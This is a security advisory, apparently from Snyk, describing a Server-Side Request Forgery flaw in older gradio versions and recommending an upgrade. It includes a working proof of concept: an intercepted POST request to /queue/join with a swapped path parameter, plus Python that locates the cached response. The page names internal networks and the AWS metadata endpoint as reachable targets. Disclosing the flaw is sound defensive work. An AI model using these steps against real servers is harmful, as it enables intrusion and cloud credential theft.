Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Server-Side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learningUpgrade gradio
to version 5.0.0b1 or higher.
gradio is a Python library for easily interacting with trained machine learning models
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) through the /queue/join
endpoint and the save_url_to_cache
function. An attacker can gain unauthorized access to internal networks or the AWS metadata endpoint by sending crafted requests that exploit insufficient validation of the path
parameter.
Run the following example found in Gradio's documentation:
import gradio as gr
def upload_file(files): file_paths = [file.name for file in files] return file_paths
with gr.Blocks() as demo: file_output = gr.File() upload_button = gr.UploadButton("Click to Upload an Image or Video File", file_types=["image", "video"], file_count="multiple") upload_button.upload(upload_file, upload_button, file_output)
demo.launch()
Get a webhook url for testing.
Stop the requests with Burp Suite and replace the path
parameter of the request going to the "/queue/join" endpoint with the payload. e.g:
POST /queue/join? HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json Content-Length: 318
{ "data": [ [ { "meta": { "_type": "gradio.FileData" }, "path": "PAYLOAD", "url": "http://127.0.0.1:7860/file=/tmp/gradio/d1be868eeb62e5194df165ccd8becbc5b3ffb299/favicon.ico", "orig_name": "favicon.ico", "size": 15406, "mime_type": "image/x-icon" } ] ], "event_data": null, "fn_index": 0, "trigger_id": 2, "session_hash": "l8v6ku4cm8d" }
You will see an http get request coming to your webhook url.
Make the following request using the sha1 hash of the url to view the output of the request:
import hashlib from pathlib import Path
url="PAYLOAD" sha1 = hashlib.sha1() sha1.update(url.encode("utf-8"))
print(f"http://127.0.0.1:7860/file=/tmp/gradio/{sha1.hexdigest()}/{Path(url).name}")